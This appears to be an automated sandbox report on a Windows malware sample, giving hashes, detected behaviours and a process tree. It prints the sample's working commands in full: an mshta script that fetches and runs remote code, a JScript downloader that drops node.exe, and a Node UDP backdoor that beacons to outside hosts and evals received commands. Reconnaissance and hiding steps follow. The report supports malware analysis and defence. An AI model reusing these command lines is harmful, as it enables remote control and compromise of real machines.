Analysis
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max time kernel
148s -
max time network
190s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
20-07-2021 11:53
Static task
static1
Behavioral task
behavioral1
Sample
b51f35ce59522da81ef898864f0d5345.exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
General
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Target
b51f35ce59522da81ef898864f0d5345.exe
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Size
3KB
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MD5
b51f35ce59522da81ef898864f0d5345
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SHA1
ff9d931d99cf91852cafe602f078fc90fa53940f
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SHA256
cb23aeac6382ff99608a71e3b416c1ca22f5f301474840239e4c319db31cef25
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SHA512
24bc25b9c843b41b2ed0b38ab4417ecb43fa880a09086b41e0e630ba613557f4f4563cbdf5012abc62d22a1809bbb21096f823274cfad2824efb0e9e296a0b80
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 6 1100 mshta.exe 7 308 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 1204 node.exe -
Loads dropped DLL 1 IoCs
pid Process 1036 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1916 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1376 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1720 ipconfig.exe 1572 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1492 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\d6d794068b4d91bf:ads node.exe File created C:\ProgramData\DNTException\node.exe:38629187fd7b89b5f1f4dd9eed662911 node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 6 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 7 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1204 node.exe 1204 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 1376 tasklist.exe Token: SeIncreaseQuotaPrivilege 1448 wmic.exe Token: SeSecurityPrivilege 1448 wmic.exe Token: SeTakeOwnershipPrivilege 1448 wmic.exe Token: SeLoadDriverPrivilege 1448 wmic.exe Token: SeSystemProfilePrivilege 1448 wmic.exe Token: SeSystemtimePrivilege 1448 wmic.exe Token: SeProfSingleProcessPrivilege 1448 wmic.exe Token: SeIncBasePriorityPrivilege 1448 wmic.exe Token: SeCreatePagefilePrivilege 1448 wmic.exe Token: SeBackupPrivilege 1448 wmic.exe Token: SeRestorePrivilege 1448 wmic.exe Token: SeShutdownPrivilege 1448 wmic.exe Token: SeDebugPrivilege 1448 wmic.exe Token: SeSystemEnvironmentPrivilege 1448 wmic.exe Token: SeRemoteShutdownPrivilege 1448 wmic.exe Token: SeUndockPrivilege 1448 wmic.exe Token: SeManageVolumePrivilege 1448 wmic.exe Token: 33 1448 wmic.exe Token: 34 1448 wmic.exe Token: 35 1448 wmic.exe Token: SeIncreaseQuotaPrivilege 1448 wmic.exe Token: SeSecurityPrivilege 1448 wmic.exe Token: SeTakeOwnershipPrivilege 1448 wmic.exe Token: SeLoadDriverPrivilege 1448 wmic.exe Token: SeSystemProfilePrivilege 1448 wmic.exe Token: SeSystemtimePrivilege 1448 wmic.exe Token: SeProfSingleProcessPrivilege 1448 wmic.exe Token: SeIncBasePriorityPrivilege 1448 wmic.exe Token: SeCreatePagefilePrivilege 1448 wmic.exe Token: SeBackupPrivilege 1448 wmic.exe Token: SeRestorePrivilege 1448 wmic.exe Token: SeShutdownPrivilege 1448 wmic.exe Token: SeDebugPrivilege 1448 wmic.exe Token: SeSystemEnvironmentPrivilege 1448 wmic.exe Token: SeRemoteShutdownPrivilege 1448 wmic.exe Token: SeUndockPrivilege 1448 wmic.exe Token: SeManageVolumePrivilege 1448 wmic.exe Token: 33 1448 wmic.exe Token: 34 1448 wmic.exe Token: 35 1448 wmic.exe Token: SeDebugPrivilege 1572 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2000 wrote to memory of 1100 2000 b51f35ce59522da81ef898864f0d5345.exe 28 PID 2000 wrote to memory of 1100 2000 b51f35ce59522da81ef898864f0d5345.exe 28 PID 2000 wrote to memory of 1100 2000 b51f35ce59522da81ef898864f0d5345.exe 28 PID 2000 wrote to memory of 1100 2000 b51f35ce59522da81ef898864f0d5345.exe 28 PID 1100 wrote to memory of 296 1100 mshta.exe 30 PID 1100 wrote to memory of 296 1100 mshta.exe 30 PID 1100 wrote to memory of 296 1100 mshta.exe 30 PID 1100 wrote to memory of 296 1100 mshta.exe 30 PID 296 wrote to memory of 308 296 cmd.exe 32 PID 296 wrote to memory of 308 296 cmd.exe 32 PID 296 wrote to memory of 308 296 cmd.exe 32 PID 296 wrote to memory of 308 296 cmd.exe 32 PID 296 wrote to memory of 1676 296 cmd.exe 33 PID 296 wrote to memory of 1676 296 cmd.exe 33 PID 296 wrote to memory of 1676 296 cmd.exe 33 PID 296 wrote to memory of 1676 296 cmd.exe 33 PID 296 wrote to memory of 1036 296 cmd.exe 34 PID 296 wrote to memory of 1036 296 cmd.exe 34 PID 296 wrote to memory of 1036 296 cmd.exe 34 PID 296 wrote to memory of 1036 296 cmd.exe 34 PID 1036 wrote to memory of 1204 1036 cscript.exe 35 PID 1036 wrote to memory of 1204 1036 cscript.exe 35 PID 1036 wrote to memory of 1204 1036 cscript.exe 35 PID 1036 wrote to memory of 1204 1036 cscript.exe 35 PID 1204 wrote to memory of 684 1204 node.exe 37 PID 1204 wrote to memory of 684 1204 node.exe 37 PID 1204 wrote to memory of 684 1204 node.exe 37 PID 1204 wrote to memory of 684 1204 node.exe 37 PID 1204 wrote to memory of 1384 1204 node.exe 38 PID 1204 wrote to memory of 1384 1204 node.exe 38 PID 1204 wrote to memory of 1384 1204 node.exe 38 PID 1204 wrote to memory of 1384 1204 node.exe 38 PID 1204 wrote to memory of 1916 1204 node.exe 39 PID 1204 wrote to memory of 1916 1204 node.exe 39 PID 1204 wrote to memory of 1916 1204 node.exe 39 PID 1204 wrote to memory of 1916 1204 node.exe 39 PID 1204 wrote to memory of 1524 1204 node.exe 40 PID 1204 wrote to memory of 1524 1204 node.exe 40 PID 1204 wrote to memory of 1524 1204 node.exe 40 PID 1204 wrote to memory of 1524 1204 node.exe 40 PID 1204 wrote to memory of 1512 1204 node.exe 41 PID 1204 wrote to memory of 1512 1204 node.exe 41 PID 1204 wrote to memory of 1512 1204 node.exe 41 PID 1204 wrote to memory of 1512 1204 node.exe 41 PID 1204 wrote to memory of 1376 1204 node.exe 42 PID 1204 wrote to memory of 1376 1204 node.exe 42 PID 1204 wrote to memory of 1376 1204 node.exe 42 PID 1204 wrote to memory of 1376 1204 node.exe 42 PID 1204 wrote to memory of 1448 1204 node.exe 44 PID 1204 wrote to memory of 1448 1204 node.exe 44 PID 1204 wrote to memory of 1448 1204 node.exe 44 PID 1204 wrote to memory of 1448 1204 node.exe 44 PID 1204 wrote to memory of 1720 1204 node.exe 45 PID 1204 wrote to memory of 1720 1204 node.exe 45 PID 1204 wrote to memory of 1720 1204 node.exe 45 PID 1204 wrote to memory of 1720 1204 node.exe 45 PID 1204 wrote to memory of 996 1204 node.exe 46 PID 1204 wrote to memory of 996 1204 node.exe 46 PID 1204 wrote to memory of 996 1204 node.exe 46 PID 1204 wrote to memory of 996 1204 node.exe 46 PID 1204 wrote to memory of 1572 1204 node.exe 47 PID 1204 wrote to memory of 1572 1204 node.exe 47 PID 1204 wrote to memory of 1572 1204 node.exe 47 PID 1204 wrote to memory of 1572 1204 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 1512 attrib.exe 1524 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\b51f35ce59522da81ef898864f0d5345.exe"C:\Users\Admin\AppData\Local\Temp\b51f35ce59522da81ef898864f0d5345.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2000 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();96;y=unescape('%342%7Eh%74t%70%3A%2F%2F%61s%750%32%2E%73h%6Fp%2Fh%72i%2F%3F%321%616%654%62%7E%32').split('~');159;try{x='WinHttp';165;x=new ActiveXObject(x+'.'+x+'Request.5.1');41;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);137;x.send();160;y='ipt.S';36;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);30;}catch(e){};165;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1100 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626782030135.txt & cscript /nologo /e:jscript get1626782030135.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2603bfe4b%26b%3Dd0013208" node.cab & expand node.cab node.exe & del get1626782030135.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626782030135.txt & cscript /nologo /e:jscript get1626782030135.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27603bfe4b%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626782030135.txt3⤵
- Suspicious use of WriteProcessMemory
PID:296 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1626782030135.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2603bfe4b%26b%3Dd0013208" node.cab4⤵
- Blocklisted process makes network request
PID:308
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:1676
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1626782030135.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27603bfe4b%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1036 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27603bfe4b%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1204 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:684
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:1384
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:1916
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:1524
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:1512
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1376
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1448
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:1720
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:996
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1572
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:1492
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